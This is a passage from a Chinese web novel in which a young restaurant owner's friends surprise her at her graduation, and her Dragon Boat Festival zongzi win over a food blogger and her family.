陆向安把庄凝冬回学校答辩开毕业典礼的事跟他们直说了，果不其然，惹来一阵惊羡。 廖俊：[所以你这是刚上班就又放假了？] 孙飞：[卧槽爽飞了啊，这不比我们在这当牛马要好。] …… 陆向安刚要跟他们唠几句，就发现江映槐问他要不要去万宁，参加老板的毕业典礼。 表面是在问，其实也没给他选择的机会。 美其名曰这是一个很好的营销机会：老板毕业典礼，拍几张照发到软件上就又是一条动态，还能在其他顾客面前刷一波存在感。 陆向安：“……” 不愧是干自媒体的。 陆向安：[是这个道理没错，问题是老板她知道吗？我这次算出差还是什么？路费是我自己出还是能报销？] 江映槐：[……就这么点钱，我全包了。] 陆向安：“？？？” 陆向安：[众所周知，路费是指路途中产生的所有费用。] 江映槐：[知道，全包，别叽叽歪歪了，你只需要回答去还是不去。] 陆向安：[……去，当然去。] 必须去，反正他这几天闲得很，也不用他出钱，免费的旅游干嘛不去？ 不过，她这个量级的up这么有钱吗？！ 陆向安慕了。 陆向安不计较她看不惯自己的事了。 都给自己花钱了，她看不惯就看不惯吧，骂就骂吧，甚至可以求着她多骂两句…… 陆向安：[怎么不跟老板说？] 江映槐：[说了能叫惊喜吗？] 陆向安：[你确定不是惊吓？] 江映槐：[怎么可能，老板一个人在外地，想想那场景就足够孤立无援的，我们突然出现肯定是惊喜啊。] 陆向安：[所以老板也不知道你出钱的事咯？] 江映槐：[不知道，所以你给我好好闭上嘴。] 陆向安：[……遵命。] 陆向安应下，转头又到宿舍群里炫耀：[唉，又要开始忙了。] 廖俊：[你忙个鬼忙，不是才说了放假？忙着打游戏呢？] 陆向安：[这倒不是。] 李辉：[那是什么？庄记现在又不开门，你有什么好忙的。] 陆向安：[忙着去参加老板的毕业典礼，忙着去玩，这一趟旅游还不用我花钱，是同事请的/害羞。] 其余舍友：[？？？] 不是，你说什么？同事？好小众的词，这样的同事请给我来一打！ 不顾舍友们在群里大喊，陆向安炫耀完就去收拾去玩的东西了。 这一趟隐秘的万宁之行，江映槐不止叫了奶奶和陆向安，还叫上了季初曼。 起初季初曼还不肯接受江映槐的钱，直到她说这些钱加起来还不够她一天的零花时，季初曼震惊地瞪大眼睛，随后就默默接受了。 人与人之间的差距果然…… 日后要是江映槐有什么需要帮助的，她一定竭尽全力，季初曼想。 * 毕业典礼当天，庄凝冬在舍友们的帮助下穿好学士服戴好了学士帽。 舍友们多多少少知道点庄凝冬家里的事，也没问她家里人为什么不来，反而合资给她买了一束花。 庄凝冬捧着那束花，跟她们一起去礼堂。 说实话，在一个陌生的环境，四处都是自己太熟悉的人时，难免会感到孤独。 这种感觉就像庄凝冬刚穿到这个世界那天。 天地茫茫，好像只剩她一个人了。 不过，身边人待她不错，也算缓解了这种低落的情绪。 庄凝冬刚出宿舍楼没走远，恍惚间听到有人在喊她的名字。 她回头，看到了江映槐一行人在朝她招手，奶奶站在中间，被他们挽着朝她而来。 庄凝冬一惯还算比较镇静的眸子此刻也不禁瞪大，脸上流露意外惊喜之色。 她喜上眉梢：“你们怎么来了？” “来陪你呀。”江映槐说：“毕业这么重要的日子，奶奶怎么能不在呢？” 奶奶看着自家孙女穿着一整套学士服，青春洋溢的模样，眼眶红了一圈。 “多亏了江映槐这个孩子，不然奶奶都看不到你毕业的样子。” 庄凝冬挽过奶奶的手：“怎么会看不到呢？有照片的啊。” 说是这么说，可他们都知道，照片和亲眼看到是两回事。 突然想起一件重要的事，庄凝冬把花塞到江映槐怀里： “你们先等我一下，我回去拿个东西。” 说完，转身朝楼上奔去。 江映槐不明所以，两秒后，把那束沉重的花塞到陆向安怀里：“你拿着。” 陆向安：“嗻。” “……” 庄凝冬是回去拿金镯子了。 既然是来参加她的毕业典礼，是来拍照的，当然得戴上新买的金镯子。 奶奶戴上后，盯着手上的镯子看，周围人一个比一个说话好听，夸得她开心到眼睛都看不见咯。 集体照过后，庄凝冬来跟奶奶他们拍合照，陆向安原本以为自己是拿相机的那个，拍了没两张后，庄凝冬喊来室友帮忙，让陆向安一起站过来。 也是这时，陆向安才有一种自己也在这个大集体里的归属感。 来庄记这个选择，好像没做错。 陆向安的思绪在前方一句“3，2，1，茄子”中收回，立马咧起嘴角，比了个耶。 庄凝冬站在中间，笑得明媚。 周围都是相熟的亲人伙伴，终于让她在这个浮华的世界有了几分实感，以及依赖和欣喜。 终于不再是她一个人了。 拍完照后，他们一群人在那交谈，庄凝冬的一个舍友盯着江映槐看了好久，在某一个点恍然道： “我想起来了！我说你怎么看上去那么眼熟呢，原来你就是G站上的那个up主！” 江映槐笑着，刚想应下，就听见那女生兴奋地继续道： “那个凭借骂——”人出名的美食区up主。 江映槐眼皮一跳，眼疾手快捂住她的嘴。 第59章 第59章 庄凝冬神色茫然地看着她们。 被捂嘴的舍友更是不明就里，眨着眼在那唔唔唔地说不了话。 陆向安不懂那么多弯弯绕绕，他大喇喇地接话：“哦你是不是想说她是那个骂人区的美食up主？对没错，她就是……” 一切发生的都是那么突然，江映槐心如死灰地闭上眼睛。 完了，都毁了。 她在师父面前的形象啊…… 江映槐根本不敢看庄凝冬的反应，睁眼就是对着陆向安一顿输出：“你在叭叭什么就你有嘴是吗？” 陆向安人懵了：“啊，我说的不对吗？那……” “是美食区的骂人up主？”陆向安边说边小心翼翼地看向江映槐。 发现她脸更黑了。 “陆向安我杀了你！” 江映槐冲过来，陆向安撒腿就跑，两人追着闹了好一会儿，最后以江映槐体力不支告终。 庄凝冬扶着她坐下，拧开一瓶水递给她。 经过那么一会儿，趁着他俩追逐的时间，庄凝冬也跟那个舍友了解了相关的事，才隐约明白过来江映槐大概是害怕在她心中留下骂人的不好印象。 虽然这种心理有点别扭和奇怪，但还蛮可爱的。 “其实你不用那么紧张的，做自己就好了。”庄凝冬说。 江映槐试探：“你都知道了？” “嗯。”庄凝冬笑着点头：“在之前看直播的时候就从你的粉丝弹幕中推测出来了。” “……”江映槐觉得有点丢人：“那你不会觉得我一个女生整天骂骂咧咧的很什么吗？” “很什么？” “没素质。” 之前那些被她骂得还不了嘴的破防男就这样说过，江映槐心想。 庄凝冬不禁觉得好笑：“有没有素质又不是这样定义的，我既然能收你为徒，自然是了解你的品行的，品行不好的人我不会收，所以，你不用顾虑太多。” 像她这种在旧时皇宫生存过的人，每说一句话都如履薄冰，反而更羡慕江映槐这种不怕天不怕地的性子。 有了庄凝冬的盖章，江映槐显然轻松了不少，也没在这事上纠结了。 他们起身，又拍了几张照。 经过陆向安身边时，江映槐哼了声，低声道：“算你走运……” 还好没影响她在师父心中的形象。 “要不然，这次的钱你就自己出了。” 陆向安惊吓，忙追上：“不要啊！！我接下来绝对把你拍得特好看，所以你大人有大量……” …… 毕业典礼在下午，上午他们就在学校里聊天拍照，聊着聊着三个舍友知道庄凝冬开了饭馆、甚至就连江映槐都认了她做师父，还去她的饭馆干活后都有点不可思议，纷纷表示日后有机会肯定要去帮衬生意。 下午毕业典礼完毕，大学四年就此落幕。 庄凝冬一行人准备今晚在万宁随便玩玩，等第二天再回去。 一路上由江映槐带路。 万宁哪里有好玩的好吃的她了如指掌，陆向安直愣愣地问：“你怎么那么了解？提前做攻略了？” “……”江映槐无语：“我从小在万宁长大，你说呢？” 陆向安震惊：“你是万宁本地人？” 庄凝冬想了想，问：“那你这算回家了吧，不回去看看吗？” “不回了……”江映槐眼神闪烁，胡乱编着借口：“我家里人现在恰好都不在，回去也没人。” 庄凝冬点了点头，没再多问。 反而是陆向安听见后就兴奋了。 万宁本地人，在万宁有房，出手还那么阔绰，家里高低有个大别野吧？ 陆向安目光炯炯：“那能请我们到你家里去看看吗？” “……”江映槐无情道：“滚！” 陆向安不但没被她吓跑，反而疯狂缠着她问东问西。 庄凝冬和奶奶、季初曼三个人走在后面，偶尔笑着插几句话。 有江映槐和陆向安两个活宝话痨在，倒不显得无聊。 期间，江映槐原本是提议请他们去百味楼吃饭的，但季初曼看到价格后率先拒绝。 本来来回路费让江映槐付就已经足够不好意思了，这顿人均五位数的饭是怎么也接受不了。 无功不受碌。 百味楼很出名，作为同行的庄凝冬也有所耳闻。 现在开店赚到的钱，其实足够还完债务了，除此之外，虽然剩余的钱也足够让他们吃上一顿，不过如今店里的规模大了点，庄凝冬跟其他食材供应商签了一月一付的合同，商榷是月初付款，而现在正是月初…… 打脸充胖子的事没必要，等日后手头宽裕了，再带奶奶来吃也不迟。 庄凝冬便也表示这个价格对现在的她来说太贵了，等下次再来吃吧。 怕奶奶失望，还安抚了她一下。 奶奶无奈一笑：“傻孩子，我刚刚才收了一只金镯子，你现在就算说要带我去，我也不会去的，说不定里面的菜还没你做得好吃呢。” 人均五位数，这可是天价！ 对奶奶来说，是看到都会头眼昏花的程度。 …… 玩了一晚上，次日一早，他们踏上回溪城的路。 飞机上，陆向安摆弄着拍好的照片：“不愧是我拍的，都很好看，完全不用修。” 闻言，江映槐目光从窗外收回，凑过去跟他看了几张，吐槽：“分明是我们长得好看，上镜，跟你有什么关系？” “……你说得对。” 陆向安选择顺从她，谁让她有钱还给自己花呢？ 随后，陆向安挑了几张给庄凝冬看，并说着自己的计划：“老板，我打算在这几张里面选两张发到庄记官号上，你看可以吗？” 庄凝冬接过看了眼，照片没什么问题，都很好看。 只是…… “官号还能发这种，跟店铺内容无关的东西吗？” 陆向安：“哪里无关了，我们都是庄记的成员啊。” 江映槐也说道：“是啊，而且就算真的一点关联也没有，那又怎样呢？这不就是网络上的一个号嘛，只要不违法，还不是想发什么就发什么，运营没那那么多规章准则，只要发的内容是网友喜欢看的，能获取流量，给店铺带来收益，那就是好内容。” 这些年轻人，还真有两下子的。 季初曼也不禁欣赏起他们来：“说得对，不管黑猫白猫，捉得到老鼠的就是好猫。” 庄凝冬听着，觉得有道理，便随他们去了。 后面转了高铁，陆向安选好照片就发到微博上了。 他只选了两张发。 一张庄凝冬单人照，一张大合照。 动态一出，底下立马出现了不少评论—— [啊啊啊终于有动态消息了，也该回来营业了吧呜呜呜。] [等下，刚进来忙着抢首评，都还没来得及看动态内容，天啊这是谁家老婆跑出来了，原来是我家的。] [祝老板毕业快乐！之后应该就能一直在店里营业了是吧/害羞，希望炉灶一直在工作不要停。] [七天，整整七天，你知道我这七天是怎么过的吗？！我都不是想回忆这段黑暗的日子，还好，还好今天就是最后一天了，明天就能吃到庄记了啊啊啊。] [老板毕业快乐啊！奶奶笑得好开心呀，其他员工朋友也好好看，氛围好好哟，给运营奖励根鸡腿，麻烦多发发日常，平时老板管这个号的时候从来不发的TVT，想看，多发，谢谢。] 刷到这条评论的陆向安连忙炫耀似的给在座的人都看了一遍。 庄凝冬弯着眼睛：“好，回去就给你奖励一根鸡腿。” 江映槐就看不惯陆向安那嘚瑟样，冷眼睨他：“也不看看是谁提出的主意。” 庄凝冬一听就知道是她提的，也笑着看向她：“你也有，给你奖励两根。” 江映槐一听，冷不下去了，安分了，也不跟陆向安作对了。 * 停业七天后重新开业，兴许这帮顾客真的憋太久了，今天热情格外高涨，比停止营业前那两天还要多人。 庄凝冬为了照顾他们，重新开业的三天里，也尽量把菜式的份量都往上提了提。 然而即便这样，也远远不够。 “买不到根本买不到，他们是都疯了么？我已经提前十分钟偷溜了，还是买不到，今天不是工作日么？这群人都不用上班的吗？！” “我今天请假特地来买的都来晚了，更别说你还要上班，就这你还想买到啊？” 平常有些人虽然有空，但也不是天天都来吃庄记的。 现在庄记菜式多了，来一次就得几十上百，一个月的工资普遍也就四千左右，哪受得了天天这么吃。 所以平时他们不来的时候也给了别人机会。 但现在不一样，都等了七天，全都一窝蜂涌来了，自然夸张。 “谢谢庄记，要不然我都不知道原来有那么多人不用上班，呜呜呜仿佛世界上只有我是牛马……” “别怕兄弟，还有我陪你。” “还有我，我也是。” …… 连着三天提了份量，庄凝冬也就脚不沾地地忙了三天。 这天晚上，庄凝冬坐在桌子前，而奶奶在帮她按摩着发酸的臂膀。 庄凝冬看了眼日历，才发现还有几天就到端午节了。 “快到端午节了耶。” 奶奶：“是啊。” 端午吃粽子这个习俗距今已经有两千多年。 庄凝冬：“那必须做顿粽子来吃了。” “那我要帮忙包。”奶奶像个贪玩的小孩，对什么都感兴趣，一有能打发时间的东西就变得开心。 “好。” 当天晚上，庄凝冬就在网上找了厂家制定端午节的粽子礼盒，并吩咐了加急。 等礼盒一到，就可以上新卖给顾客们了。 临近端午，粽子的需求量肯定很大，制作馅料对庄凝冬来说不成问题，关键是包粽子的过程。 为了尽量满足顾客的需求，庄凝冬还招了几个临时工来帮忙。 就连陆向安也被江映槐揪了过来。 午间，陆向安接到陆母的电话：“端午节回来么？” 当时的陆向安还在包着粽子，脱下手套，掏出手机：“不回啦，要加班。” “就你之前那一天24小时都要待命、还没几个子的破班？你怎么还在上，趁早辞了得了，回来给我当全职儿子也不只那个价。” “不是，妈，忘记跟你说了，我找到新工作了，”老板和同事就在旁边，陆向安特意清了清嗓子，“不仅待遇比之前的要好，老板和同事也非常榜，人长得好看也就算了，心底还特别善良，都很照顾我，氛围也很好，能进到这么一家饭馆工作简直是我三生有幸。” 庄凝冬沉思，看来她这个老板当得还行，得继续加油。 江映槐则翻了个白眼，装给谁看呢？！ 不过他夸她人美心善哎，也算他说了实话吧。 那头的陆母：“哦，那就好，等等，你说什么？你进了一家饭馆工作？你……什么时候转专业了？” “……我没转专业，是一家饭馆里的运营，也是跟专业相关的。” 陆母不懂那么多，她听着还是觉得不靠谱：“怎么节假日还要上班呢？” “这不是到端午了么，缺人手呢。” 陆母还想说点什么，陆向安直接道：“三倍工资。” “……”陆母：“等我看看下个节假日是什么时候，中秋节，中秋节应该也要做月饼吧，你也别回了，或者帮我问下你们老板，还缺人手吗，看我行吗？” “……” 陆向安把电话挂了。 粽子的口味有很多种：咸口、甜口和碱水等。 溪城这边的饮食习惯主要是吃咸口粽子，所以大部分粽子，庄凝冬都是准备的咸口味。 包好一些粽子，庄凝冬特意先给邻里街坊送了过去，顺便把剩余的钱一次性还光。 回来以后，就是准备粽子的上线售卖了。 粽子上线第一天，顾客们热情高涨，跟以往每一次上新一样，都纷纷来捧场。 黄妙彤是一个公众号的编辑，负责挑选美食对其进行详细的科普。 这天，她正愁着新一期的选题呢，磨磨蹭蹭边干其他活边在脑海里筛选着美食，直到下班也没想出个所以然来。 午间，她出去拿外卖，看到有同一栋办公楼的其他人提着一个漂亮礼盒经过。 几乎下意识地，黄妙彤喊住了那个人。 那人莫名回头。 对此，黄妙彤觉得有点尴尬，其实她是个i人，也不知道刚刚为什么突然开口叫住别人。 可能单纯觉得盒子好看。 仔细看才发现是个粽子礼盒。 粽子，对了！ 新一期的内容可以做粽子！ 黄妙彤硬着头皮问对方：“请问你这盒粽子是在哪买的？” “哦，你说这个啊，这个是在庄记买的，就在朝丰街那边，你没吃过吧？它家的东西特别好吃！至起码从它开业到现在，它家出的每一样菜式我都还没踩过雷，虽然粽子我还没吃过，但肯定差不到哪里去。” 庄记、朝丰街。 黄妙彤点点头：“好的谢谢你，我记下了。” 本来以为话题到这里就可以结束了，谁知道对方是个话痨，似乎还刚好讲到他感兴趣的点上，他一说就停不下来了。 “我跟你说，庄记的味道真的特别特别好！吃过它的人就没有给差评的，你没吃过的话可真的好好试试了，对了，如果你准备去吃的话，记得提前点去排队，不然压根买不上……” 黄妙彤脸上挂着尴尬又不失礼貌的微笑，在那“嗯”、“好”、“哦”、“行”、“知道了”地应对着。 心里却想着，有那么夸张么…… 过了好一会儿，对方终于结束话题，走了。 黄妙彤也松了口气。 心里默默记着，决定等下午下班就去一趟庄记。 第60章 第60章 下午下班后，黄妙彤来到了庄记门前。 当她看见门口乌泱泱排出了一条长队时，内心也不由地镇住了。 在这片非商圈地带，生意竟然能做到那么火爆？ 看来味道确实差不到哪里去。 黄妙彤连忙上前排在队伍末尾。 兴许是为了应节，店铺提供的粽子份量够足，所以排到黄妙彤时，虽然其他菜式卖光了，但粽子还有。 也是这时，黄妙彤才发现，这家粽子，竟然还限购。 不过就算不限购，黄妙彤也不打算多买。 粽子这种东西，也就应个节，又糯又撑还难消化，没法当饭吃。 黄妙彤是本地人，她买完粽子就回了家。 家里，黄妙彤爸爸已经做好了饭。 黄妙彤往家里看了圈：“妈呢？” “谁知道呢。” 一看这个样子，黄妙彤就懂了。 他俩昨晚因一点小事吵架还没好呢。 这两人总是吵着吵着就能变成另类秀恩爱，黄妙彤劝过架吃过狗粮，也不想再当和事佬了。 “爸，我今晚不吃饭了，这碗放回冰箱冰着了。” 黄父：“那你吃啥？” “工作需要写一篇新的内容，买了粽子，先吃吃找找感觉。”黄妙彤说着拆开了粽子盒，给自己剥了一只粽子。 这是蒸熟了的粽子，呈一个四角锥形，外面包裹得粽叶经过蒸制变深了点，凑近能闻到粽叶淡淡的清香。 撕掉粽叶后，里面原本纯白的糯米染上了一层浅淡的青绿色，每一颗米粒都非常饱满，明显选用的是上好的糯米，闻起来也很香。 好像……还不错。 黄妙彤拿去蒸热。 热好之后，黄母也从房间里出来了，她看到女儿还高兴，转头看到黄父又板起脸来了。 黄父：“……” 粽子蒸热后，明显比冷的时候更香。 黄妙彤买的是咸粽子，有猪肉粽和咸蛋黄棕这两个口味。 她拆的这个是猪肉馅料的。 那糯米香不断在黄妙彤鼻尖涌动着，香喷喷的，直接勾起了人心底的食欲。 黄妙彤忍不住了，拿筷子从中间戳着弄开。 一股白色的热雾从里头飘出来，随之散发出来的，是蒸制过后热猪油的阵阵香气。 “好香……” 黄母闻着香味凑过来：“彤彤，你今晚就吃这个粽子了吗？糯米晚上不好消化，就别吃一整只了吧？来，给妈妈一半，妈妈帮你分担。” “……” 这算盘打得…… 黄妙彤还是分了一半给黄母，然后低头吃了起来。 粽子中间包着的是肥瘦相间的五花，肥白部分的猪油受热，融了一部分进糯米里，此刻，莹润饱满的糯米粒不仅软绵，还裹满了猪油香，油润润，香糯糯的。 “唔～好吃哎！” 黄妙彤眼睛不禁瞪大。 里面的馅料除了五花肉外，还有黑芝麻，去了皮的绿豆，吃起来粉粉糯糯的同时还有浓郁的肉香味。 “中间那块五花好好吃，肥而不腻，不管是肥的部分还是瘦的部分，都入口即化，每一口都饱含各种馅料的丰富香味，还有粽叶的清香，好吃得不得了！” 黄母也吃得停不下来，她吞下一口糯米和一丁点肥肉，脸上神情陶醉：“真的太香了啊，我还想再吃，你呢彤彤？” 丝毫忘了自己刚刚说晚上不宜吃太多糯米的事。 黄母：“这饭不吃了。” “吃，当然要吃！”黄妙彤说。 真的太太太好吃了！ 别说一只了，就是两只、甚至三只她都吃得下，呜呜呜这半只完全不够塞牙缝。 因为黄母也要，黄妙彤赶紧再拆了两只粽子。 “对了，爸，你要吗？” 尽管黄父刚刚看她们吃粽子就有点被香得受不了，但他一看自己辛辛苦苦做的饭都被妻女嫌弃了，再馋也忍了下来： “不了，我吃饭就行。” 黄妙彤母女便不管他了。 两只粽子一被蒸热，黄妙彤和黄母便等不及了。 哪怕热得腾腾冒着气，也不怕似的胡乱吹了两口就往嘴里塞。 跟饿了三天三夜一样。 黄父看着这场景，郁闷无比。 他嗅着那股粽子香，扒拉了两口自己做的饭，好像……是有那么一丝索然无味TVT。 黄父忍了忍，没忍住，终究起身去拆了只粽子蒸来吃。 等黄妙彤和黄母吃完自己碗里的粽子再次抬起头时，才发现黄父不知何时起，也吃起粽子来了。 仔细一看，那还是咸蛋黄棕！ 一盒里有六只粽子，三只猪肉馅三只咸蛋黄馅。 黄妙彤手气既好又不好。 说她好吧，她一只咸蛋黄馅料的都没拿到。 说她不好吧，拿的又全都是猪肉馅的。 黄妙彤眼巴巴地看着，咸蛋黄粽，想吃！ 明显黄母也很想吃。 她平时就很喜欢吃咸蛋黄，包括咸蛋黄做成的一系列食品。 就在黄妙彤想要跟黄母商议要不再蒸一只的时候，只见黄父夹了一点到黄母碗里，神情还讨好似的说了几句好听求和的话。 黄母装模作样不理他几下，然后就又被哄好了。 黄妙彤：“……” 好好好，她才是多余的那个。 黄妙彤只觉得黄父死装死装，刚刚不是还很硬气的吗？！现在就在那巴巴地求和。 最重要的是，这是她买回来的粽子啊喂！ 最后还是黄妙彤自己去蒸了一只。 咸蛋黄粽里头除了一颗完整的蛋黄外，还放有香菇，咸虾米和干贝。 咸蛋黄味道醇厚，澄黄的油脂流出，润润的，非常香，吃起来还有沙沙的口感，咸蛋黄那股独特的风味和软糯清香的米粒混在一起，更好吃了。 还有韧韧的虾米和干贝，咸香风味十足。 黄妙彤幸福地眯起眼睛。 真的太好吃了，这是她吃过最好吃的粽子。 没想到溪城居然出了一家那么好吃的店。 看来那个人说得一点儿也不夸张，就是很好吃。 那个人还说其他菜没有一样是踩雷的，黄妙彤想，等有机会她一定要去尝尝！ 由于前面已经吃了一只半的粽子，黄妙彤虽然还能吃得下，但想到糯米难消化，最终还是没多吃，只尝了一口鲜就把剩下的给她爸了。 黄母也从咸蛋黄粽子中抬起头来：“彤彤啊，你这是从哪里买的粽子？也太好吃了。” “就是朝丰街那边的一家饭馆，”黄妙彤如实回答道，“我也是被别人安利才到那边去买的呢，你都不知道，她家还限购呢，每人只能买一盒。” “每人只能买一盒？”黄母问：“那咱们今天晚上是都吃光了吗？盒子里还有剩的吗？” 黄妙彤把盒子拿过来：“喏，里面还剩一只。” 黄母这才注意到粽子的礼盒，比外面绝大多数都要漂亮高级，一看价格就不菲。 她面露心疼：“这盒子那么好看，一盒下来肯定很贵吧？” 黄父刚把人哄好，此刻很上道：“再贵又怎样，只要你想吃，我都给你买。” 黄母还偏偏就吃这套，她笑着说了黄父几句。 不嘻嘻的只有黄妙彤。 又吃了一嘴狗粮…… 黄妙彤说了个数：“也不是很贵啦，它的口味那么好，盒子又那么好看，性价比高得不行。” 黄母一听，沉默了：“真的只是这个数？你没骗我们吧？这么便宜吗？” “当然没骗你们，现在可不兴‘哪怕苦了自己也不能苦了你们’那套了，我才不会买了贵的还特意往便宜说呢，我可心疼我那三瓜两枣了。” “……” 见此，黄母倒是放下心来了，反而是黄父问了句：“那你想好怎么做你那个三瓜两枣的工作没？打算怎么夸这次的粽子？” 虽然负责的那个公众号不是自己做起来的号，但每次黄妙彤发表的文章，他们都会在帮忙在朋友圈转发一遍。 提到这个…… “糟糕！我忘了拍照了！” 粽子太香了，刚刚吃嗨了，完全忘记要拍照这回事了。 现在还剩一只盒子和一只粽子，这要怎么拍？！ 拍了放上去也太小家子气了吧！ 黄妙彤欲哭无泪。 只能等第二天下班再去买一盒了。 好在店铺售卖的粽子份量足够多，黄妙彤的运气也不错，让她买到了一盒。 黄妙彤提着它回到了办公室，在四周取景给礼盒拍了张照。 有同事没注意到她在忙，只是随口搭了个话题：“彤彤，话说你想好新一期的内容了吗？” “想好了。” 同事转过头，才发现她拿着一个粽子的礼盒：“粽子？这就是你新一期要做的内容？” “是啊，这不是快端午了么，也刚好应个节。” 同事觉得有道理：“也是，这个栏目反正也没什么人看的，估计很快就会被组长砍掉，能水就先水着吧，把工作重心放到其他方面要紧。” 虽然确实没什么人看，但黄妙彤对每个栏目都是精心对待的。 就比如这次的粽子主题。 难得遇到那么好吃的粽子，更不能敷衍对待了，不然都是对美食的辜负。 “可是这次的粽子很好吃，我感觉发出去会很多人看哎。”黄妙彤说，“希望到时候这篇文章数据能好点，别砍掉这个栏目啊，美食还是很有意思的。” 同事并不放在心上：“啊……？你认真的嘛？粽子也太普通了，更何况现在临近端午，各大公众号都在发端午的内容，很难出彩吧。” “你不懂，”黄妙彤摇了摇头，“等会儿你就知道了。” 黄妙彤把盒子拍好以后，又拆了几只粽子拿去微波炉加热。 很快，一股清新的香味随之飘散开…… 同事：“……” 60-70 第61章 第61章 在黄妙彤端着几只蒸好的粽子找方位摆拍时，这股香味已经引来了不少同事围观。 “好香啊，什么粽子居然能有这么香？” “粽叶的味道闻着好清新啊。” “别说了，我好像已经闻到内陷里面的猪肉香味了，午饭好像白吃了，淦！” …… 等黄妙彤拍完照，她才喊各位过来，让他们想吃的都可以弄点去。 反正她一个人也吃不了那么多。 “真的吗？妙彤你人也太好了，那我就不客气啦～” “都是什么馅料啊？” 黄妙彤：“有猪肉和咸蛋黄，给我留个咸蛋黄的！” “好嘞，我要一点点就好了，刚吃过午饭吃不了太多。” “有两个咸蛋黄的哎，留一个给妙彤，剩下的我们分了吧。” …… 好几个同事在那围着，在办公室有餐具的就拿着自己的餐具吃，没有餐具的就拿了个手套套着捏着点放进嘴里。 总之，只要想吃，办法总比困难多。 他们吃过之后，脸上都不约而同地露出惊艳之色： “这粽子！！也太香了吧！” “特别是猪肉馅的，味道浓厚的猪油都融到糯米里了，软软糯糯嚼起来特有爽，香迷糊了！” “你放屁！明明咸蛋黄粽才是yyds，这沙沙的口感真的绝了，好香的咸蛋黄啊，好好吃呜呜呜好想再来点……” “我也是，从来没吃过这么好吃的粽子。” “呵呵，刚才也不知道是谁说吃过午饭吃不了太多的。” 早知道妙彤买了粽子回来，我就不吃午饭了。” “得了吧你，还不吃午饭，就想着蹭人家的粽子嘛？真不要脸。” “又不是不能给钱，妙彤，你这粽子多少钱？我能跟你买一个吗？” 黄妙彤瞬间警惕地护食起来……！！ 她已经分出去三个了，可不想再分了TAT “不是钱不钱的问题，主要是那家店蛮多人排队的，而且还限购，可珍贵了，你们想吃可以自己去排队买……” 黄妙彤说了店铺地址和价格之后，其他同事表示收到之后都纷纷散开了。 而原本在黄妙彤隔壁跟她搭话的那个同事方才也有尝到一点粽子，此刻她还在呆呆回味着那股美味…… 同事：“没吃之前我觉得你的想法太天方夜谭了，但是吃过之后，我觉得这一期的文章还真有可能会比以往的要好点哎。” 黄妙彤：“是吧你也这样觉得，那我更要好好做这一期了。” “加油！还是先不要报太大希望了，没有希望就不会失望，你也不要给自己太大压力，看这个栏目的人本来就少。” “嗯嗯。” 这个粽子是真的特别好吃，所以黄妙彤写起这一期的稿子来文思如泉涌。 等写好设置好定时发表后，黄妙彤他们也迎来了放假时间。 下了班，黄妙彤就没再管过后台了…… * 端午节节假日，跟之前劳动节一样，也有很多外出打工的人回来和家里人一起过节。 他们也不约而同地来到庄记门前。 “可算是放假了，自从上次劳动节回来吃过庄记后，回去再上班我都吃不惯那的东西了，硬生生瘦了一圈，我有个朋友还来问我要减肥秘籍……” “要我说，你们在外地工作想吃也吃不到的才好，不然像我们这样经常能吃到，那就是胖了不止一圈了，我有朋友从外地回来，还说差点认不出我了，扎心……” “话说你们有没有觉得这次回溪城的票难买了？平时溪城没什么人来，我都是卡点买的票，这次却差点没买到票，服了。” “好像有很多外地人来吧。” “他们来干嘛？溪城又没什么旅游业，难道是某个明星来拍戏了？” “这倒不是，他们好像是来尝庄记的吧？” “？？？啊？” “这么大老远跑来只为了吃庄记吗？” “是啊，你都不知道，网上有相关up主做了庄记的内容视频，都爆了，好几百万的播放量呢，我看网上那些人都说要来。” “还好我们就在溪城，想什么时候吃就什么时候吃。” …… 端午假期开始以后，店铺门前比平时热闹很多，不过由于准备的份量比平时多，倒是卖得久了点。 等好不容易结束工作，庄凝冬也来不及休息就要去做他们的晚饭了。 今天端午节，当然得吃粽子。 庄凝冬就不另外做饭了，而是炒了几个小炒。 溪城的端午节习俗除了吃粽子，还有挂艾草和菖蒲，用以辟邪驱蚊，预防疾病，寓意保佑健康平安。 庄凝冬是后面搜了一下才知道的。 了解过后就去买了艾草和菖蒲挂上，虽然大燕朝没有这个习俗，但既然来了，她就会好好尊重。 今天过节，庄凝冬让店里的员工都早点下班回家吃饭了，剩下的活她可以慢慢干。 不过也就季初曼回去了，江映槐和陆向安依旧留在店里。 “哎，话说你怎么不回家啊？”陆向安朝江映槐随口一问。 “管那么多，你不也没回去吗？”江映槐见庄凝冬端着东西出来，忙上前帮忙。 “三倍工资呢，我可舍不得，”陆向安说，“我看你也不缺钱，不像是会为了这三倍工资留下的，就好奇问问嘛。” 看在过节的份上，江映槐倒是好好跟他说话了：“太远了，而且我岗位跟你又不一样，你以为人人都像你一样到了节假日就有假放吗？那到时候只剩老板一个，让她自己忙活吗？” 好像也是…… 陆向安听着觉得有道理，便没再多问了。 此时庄凝冬从厨房里出来。 “怎么是想回家了吗？现在是来不及了，下次要是想回家过节，可以提前跟我说，我招个临时工帮忙就好了。” 江映槐忙道：“没有，我就随口一说，其实还是因为太远了，懒得回，而且我家里人……算了，反正他们就是也没空管我，回不回都没关系的。” “这样啊，”奶奶长叹，觉得江映槐也是个可怜孩子，还多给她夹了点菜，“有什么矛盾的话还是跟家里人谈一谈比较好，不然拖着也不是办法，要是你实在不开心，把这里当成你的第二个家也行。” 江映槐愣了愣，然后有些心虚地低下头，默念了几句对不起对不起，她不是故意要撒谎的。 总之，她有家不能回就行了。 “嗯，我知道的，奶奶。” 江映槐作为万宁本地人，饮食习惯上喜欢吃甜粽子，庄凝冬便给她剥了一个豆沙粽子。 里面的豆沙也是庄凝冬自己炒的，豆沙馅质感绵密，入口即化，吃起来是甜丝丝的浓郁红豆香，江映槐抿了抿这口豆沙馅，任由它们无形地化在口腔里。 粽子蒸熟以后，软绵的糯米也吸收了豆沙的香甜，甜滋滋的，却又甜而不腻，超级好吃。 “好好吃的豆沙馅！” 不管吃多少次，江映槐在吃到庄凝冬做的豆沙粽子时，都会发出一声惊叹。 没办法，庄凝冬炒制的豆沙馅真的太好吃了，最重要的是那股甜度掌握得非常好，一点儿也不腻，红豆香也很醇厚。 加上黏黏软软的糯米，嚼起来很劲道，那股香甜就的韵味就更悠长了，特别好吃。 “搭上辣酱吃才是真的绝！” 一旁的陆向安给自己弄了点通红的辣椒酱，香香辣辣的辣椒圈跟紧实的糯米相结合，辣得得劲，嚼得也得劲。 香迷糊了。 江映槐看了眼，也给自己弄了点辣椒酱。 一口下去，甜辣甜辣的，确实有一番新的风味。 香甜的馅料加上难消化的糯米，为了不给胃增加负担，江映槐只吃了一个就没再继续吃了。 庄凝冬顺手给她倒了杯茶水。 